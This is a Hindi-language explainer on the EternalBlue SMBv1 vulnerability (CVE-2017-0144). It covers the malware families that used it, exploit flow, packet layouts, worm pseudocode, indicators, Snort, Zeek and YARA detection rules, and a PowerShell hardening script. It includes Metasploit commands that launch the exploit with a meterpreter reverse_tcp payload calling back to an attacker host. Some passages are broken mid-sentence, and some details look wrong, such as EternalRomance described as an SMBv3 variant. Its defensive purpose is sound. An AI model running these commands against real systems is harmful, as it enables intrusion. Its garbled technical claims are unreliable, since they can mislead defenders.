
CVE-2017-0144

"एक एक्सप्लॉइट। दर्जनों मैलवेयर परिवार। अरबों का नुकसान।"
CVE-2017-0144 Microsoft Windows में SMBv1 सर्वर कार्यान्वयन में एक गंभीर रिमोट कोड-निष्पादन भेद्यता है। EternalBlue के रूप में जाना जाने वाला एक्सप्लॉइट इस छेद का दुरुपयोग करता था और इसका उपयोग उच्च-प्रभाव वाले हमलों (विशेष रूप से WannaCry) में किया गया था।
| # | मैलवेयर | प्रकार | पहली बार देखा गया | हमलावर | क्षति | नोट्स |
|---|
| 1 | WannaCry | रैंसमवेयर | 12 मई, 2017 | लाज़रस ग्रुप (DPRK) | $4–8B | किलस्विच: iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com |
| 2 | NotPetya | वाइपर (रैंसमवेयर के रूप में प्रस्तुत) | 27 जून, 2017 | सैंडवॉर्म (रूस) | $10B+ | Mimikatz + EternalBlue + PSEXEC का उपयोग किया |
| 3 | Bad Rabbit | रैंसमवेयर | 24 अक्टूबर, 2017 | इंद्रिक स्पाइडर | क्षेत्रीय | नकली Flash अपडेट ड्राइव-बाय |
| 4 | Uiwix | रैंसमवेयर | मई 2017 | अज्ञात | कम | कोई किलस्विच नहीं, WannaCry से अधिक गुप्त |
| 5 | EternalRocks | वर्म | मई 2017 | अज्ञात | मध्यम | 7 NSA उपकरण (DoublePulsar सहित) |
| 6 | Adylkuzz | क्रिप्टोमाइनर | मई 2017 | अज्ञात | उच्च (मौन) | WannaCry से पहले Monero माइन किया |
| 7 | Retefe | बैंकिंग ट्रोजन | 2017–2018 | अज्ञात | EU बैंक | पार्श्व संचलन के लिए EternalBlue का उपयोग किया |
| 8 | TrickBot | मॉड्यूलर मैलवेयर | 2017–2021 | विज़ार्ड स्पाइडर | वैश्विक | EternalBlue के माध्यम से Ryuk ड्रॉप किया |
| 9 | Emotet | लोडर | 2017–2021 | TA542 | वैश्विक | Cobalt Strike के लिए प्रवेश के रूप में उपयोग किया गया |
| 10 | Clop / Dridex | रैंसमवेयर | 2019–2025 | TA505 | स्वास्थ्य सेवा, सरकार | 2025 में अभी भी सक्रिय |

| उपकरण | रिलीज़ | विशेषताएँ |
|---|---|---|
| EternalBlue (मूल) | अप्रैल 2017 (Shadow Brokers) | SMBv1 RCE |
| DoublePulsar | अप्रैल 2017 | बैकडोर इम्प्लांट (ring0) |
| EternalRomance | अप्रैल 2017 | SMBv3 वेरिएंट |
| EternalChampion | अप्रैल 2017 | वैकल्पिक SMB पथ |
| Metasploit मॉड्यूल | मई 2017 | exploit/windows/smb/ms17_010_eternalblue |
| FuzzBunch | अप्रैल 2017 | NSA एक्सप्लॉइट फ्रेमवर्क |
| Impacket + PSEXEC | 2017–2025 | Python SMB शोषण |

"एक विकृत पैकेट। पूर्ण SYSTEM पहुंच। कोई लॉगिन नहीं। कोई क्लिक नहीं।"
[Attacker]
│
├──▶ Sends crafted SMBv1 **Trans2** request
│ → Triggers **heap overflow** in `srv!SrvOS2FeaListSizeToNt`
│
├──▶ Overwrites function pointers → **kernel shellcode**
│
└──▶ Executes **DoublePulsar** backdoor → **Ring-0 payload**
(e.g., WannaCry `mssecsvc.exe`)
| आवश्यकता | विवरण |
|---|---|
| लक्ष्य | SMBv1 सक्षम के साथ Windows (पूर्व-Win10 डिफ़ॉल्ट) |
| खुला पोर्ट | 445/TCP (या NetBIOS के माध्यम से 139/TCP) |
| कोई प्रमाणीकरण नहीं | अप्रमाणित — कोई उपयोगकर्ता नाम/पासवर्ड आवश्यक नहीं |
| आर्किटेक्चर | x86 या x64 (दोनों समर्थित) |
| पैच स्थिति | अनपैच्ड (पूर्व-MS17-010) |
SMB_COM_NEGOTIATE → Client sends dialect list
Server responds: SMBv1 supported → Proceed
क्यों? पुष्टि करता है कि SMBv1 सक्रिय है।

\\TARGET\IPC$ → Anonymous share for SMB pipes
उद्देश्य: लेनदेन अनुरोध भेजने के लिए एक सत्र स्थापित करता है।
SESSION_SETUPFEALIST {
SizeOfListInBytes = 0xFFFF (or large value)
...
}
बग ट्रिगर:
SrvOS2FeaListSizeToNt()बिना सीमा जांच के इस आकार पर भरोसा करता है।

FEA {
AttributeNameLength = 0x00
AttributeName = "A" * 0x1000 → Overflow buffer
}
हीप स्प्रे: मेमोरी लेआउट को नियंत्रित करने के लिए बड़े हिस्से आवंटित करता है।
srv!SrvOS2FeaListSizeToNt(
PFEALIST FeaList, // attacker-controlled
PULONG pNtFeaListSize // output pointer
)
{
// No validation of FeaList->SizeOfListInBytes
memcpy(dest, src, FeaList->SizeOfListInBytes); // BOOM
}
Free रूटीन)KeUserModeCallback के माध्यम से)mssecsvc.exe)
0x00120034 XOR कुंजी)Ping: 0x0002C001Exec: 0x0002C002 + पेलोडWannaCry उदाहरण:
EternalBlue → DoublePulsar → mssecsvc.exe → tasksche.exe → Encrypts files
SMB Header
└── Command: 0x32 (TRANSACTION2)
└── Setup: 0x000E (SESSION_SETUP)
└── Parameter: TotalDataCount = 0x1000
└── Data:
[FEALIST]
SizeOfListInBytes = 0x1100
[FEA #1] NameLen=0, Name="A"*0x1000
[FEA #2] ...
[GROOM x100] → Spray heap
[OVERFLOW] → Overwrite pool
[SHELLCODE] → x64 ring0
| उपकरण | भाषा | मॉड्यूल |
|---|---|---|
| Metasploit | Ruby | exploit/windows/smb/ms17_010_eternalblue |
| Impacket | Python | smbclient.py, psexec.py |
| FuzzBunch | Python (NSA) | EternalBlue-2.2.0 |
| कस्टम C2 | C/C++ | WannaCry, NotPetya |
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit
| आर्टिफैक्ट | स्थान | मान |
|---|---|---|
| DoublePulsar | कर्नेल मेमोरी | XOR कुंजी 0x00120034 |
| शेलकोड | srvnet.sys पूल | 0xCC 0x90 0x48 पैटर्न |
| इंजेक्टेड DLL | C:\Windows\mssecsvc.exe | SHA256: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa |
alert tcp any any -> $HOME_NET 445 (
msg:"ETERNALBLUE Attempt";
flow:to_server,established;
content:"|ff|SMB2"; depth:5;
content:"|00 04 08 00|"; distance:100; within:4;
classtype:attempted-admin;
sid:1000001;
)
event smb1_transaction2_secondary(c: connection, hdr: SMB1::Header, args: SMB1::Trans2_Secondary_Args) {
if (args$data_len > 4096) {
NOTICE([$note=SMB::Large_Trans2_Data, $conn=c]);
}
}
while (true) {
Scan network for port 445
if (open) → EternalBlue exploit
if (success) → Drop mssecsvc.exe + propagate
Sleep(random(1000, 5000))
}
फैलाव गति: वैश्विक स्तर पर ~10,000 संक्रमण/घंटा।
| कारक | कारण |
|---|---|
| कोई प्रमाणीकरण नहीं | SMBv1 अनाम IPC$ की अनुमति देता है |
| वर्म-क्षम | अंतर्निहित LAN स्कैनिंग |
| कर्नेल RCE | AV/उपयोगकर्ता संकेतों को बायपास करता है |
| लीगेसी SMBv1 | 15+ वर्षों से डिफ़ॉल्ट रूप से सक्षम |
| अनपैच्ड सिस्टम | महत्वपूर्ण बुनियादी ढांचे में XP, 2003, 7 |
| वर्ष | सफलता % (अनपैच्ड) |
|---|---|
| 2017 | 99% |
| 2020 | 85% |
| 2025 | ~60% (केवल लीगेसी) |
MS17-010 के बिना Windows 7/2008 R2 पर अभी भी काम करता है
EternalBlue = हथियारबंद गणित त्रुटि
SMB में एक विश्वसनीय आकार फ़ील्ड → कर्नेल हीप ओवरफ्लो → मनमाना कोड → वैश्विक रैंसमवेयर महामारी
SMB Packet → Buffer Overflow → Kernel Shellcode → DoublePulsar → Malware
विज़ुअलाइज़्ड, विच्छेदित, और युद्ध-परीक्षित। पेंटेस्टर्स, IR टीमों और डिफेंडर्स के लिए।
"एक पैकेट। एक पोर्ट। एक साम्राज्य गिरता है।"
| OS | KB पैच | SMBv1 अक्षम करें | Nmap स्क्रिप्ट |
|---|---|---|---|
| Windows 7 / 2008 R2 | KB4012212 | sc config lanmanworkstation depend= bowser/mrxsmb20/nsi | smb-vuln-ms17-010.nse |
| Windows 10 | KB4013429 | PowerShell: Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol | |
| Windows XP (EOL) | KB4012598 (आपातकालीन) | रजिस्ट्री: HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\SMB1 = 0 |

rule WannaCry_Ransomware {
strings:
$mz = { 4d 5a }
$s1 = "WannaDecryptor" wide
$s2 = "tasksche.exe"
$s3 = "@WANA" ascii
$encrypt = { 57 61 6E 61 43 72 79 70 74 30 72 }
condition:
$mz at 0 and 2 of ($s*)
}

rule NotPetya_Wiper {
strings:
$pdb = "perfc.dat" nocase
$dll = "dllhost.dat"
$mof = "ntdevmgr.vbs"
$mimikatz = "mimikatz"
condition:
uint16(0) == 0x5A4D and 2 of them
}


rule EternalBlue_SMB_Exploit {
strings:
$smb_negotiate = { 00 00 00 ?? ff 53 4d 42 72 00 }
$tree_connect = { 00 00 00 ?? ff 53 4d 42 75 00 }
$trans2 = { 00 00 00 ?? ff 53 4d 42 32 00 }
$overflow = { 00 04 08 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? }
condition:
all of them
}
| मीट्रिक | स्थिति |
|---|---|
| Shodan एक्सपोज़्ड SMBv1 | ~1.2 मिलियन (नवंबर 2025) |
| सक्रिय एक्सप्लॉइट्स (हनीपॉट्स) | दैनिक |
| इसे उपयोग करने वाला रैंसमवेयर | Clop, LockBit (लीगेसी लक्ष्य) |
| सबसे अधिक असुरक्षित | स्वास्थ्य सेवा, विनिर्माण, SMBs |
| ज़ीरो ट्रस्ट समाधान | 445 ब्लॉक करें, MFA लागू करें, EDR |
| चरण | तकनीक | ID |
|---|---|---|
| प्रारंभिक पहुंच | सार्वजनिक ऐप का शोषण | T1190 |
| निष्पादन | Windows SMB RCE | T1210 |
| स्थिरता | DoublePulsar के माध्यम से बैकडोर | T1505.003 |
| पार्श्व संचलन | SMB/Windows एडमिन शेयर्स | T1021.002 |
| प्रभाव | प्रभाव के लिए डेटा एन्क्रिप्टेड | T1486 |
# === ETERNALBLUE HARDENING SCRIPT ===
Write-Host "Applying EternalBlue Mitigations..." -ForegroundColor Cyan
# 1. Disable SMBv1
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart
# 2. Block Port 445
New-NetFirewallRule -DisplayName "Block SMB Inbound" -Direction Inbound -Action Block -Protocol TCP -LocalPort 445
# 3. Enable SMB Signing
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" -Name "RequireSecuritySignature" -Value 1
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters" -Name "RequireSecuritySignature" -Value 1
# 4. Check Patch
$patch = Get-HotFix -Id KB4012212 -ErrorAction SilentlyContinue
if ($patch) { Write-Host "Patched!" -ForegroundColor Green } else { Write-Host "UNPATCHED!" -ForegroundColor Red }
Write-Host "Reboot required. Run as Admin."
| स्रोत | लिंक |
|---|---|
| NVD | nvd.nist.gov/vuln/detail/CVE-2017-0144 |
| Microsoft MS17-010 | msrc.microsoft.com/update-guide |
| MITRE ATT&CK | attack.mitre.org/techniques/T1210 |
| CrowdStrike WannaCry रिपोर्ट | crowdstrike.com/blog/wannacry |
| Kaspersky EternalBlue | kaspersky.com/blog/wannacry-ransomware |
| Shodan खोज | shodan.io/search?query=port%3A445+os%3A%22Windows%22 |
CVE-2017-0144 मरा नहीं है — यह एक लीगेसी ज़ोंबी है।
यह इनमें पनपता है:
- अनपैच्ड Windows 7/2008
- शैडो IT
- एयर-गैप्ड महत्वपूर्ण सिस्टम
- गलत कॉन्फ़िगर किए गए क्लाउड VMs
यदि आप इंटरनेट से पोर्ट 445 को पिंग कर सकते हैं — तो आप अगले हैं।
सटीकता, विज़ुअल्स और वास्तविक-विश्व खतरे की खुफिया जानकारी के साथ निर्मित। नवंबर 2025 में अपडेट किया गया।
पेंटेस्ट लैब्स, IR प्लेबुक्स या CISO ब्रीफिंग के लिए।
"पैच करें। ब्लॉक करें। आग से मार डालें।"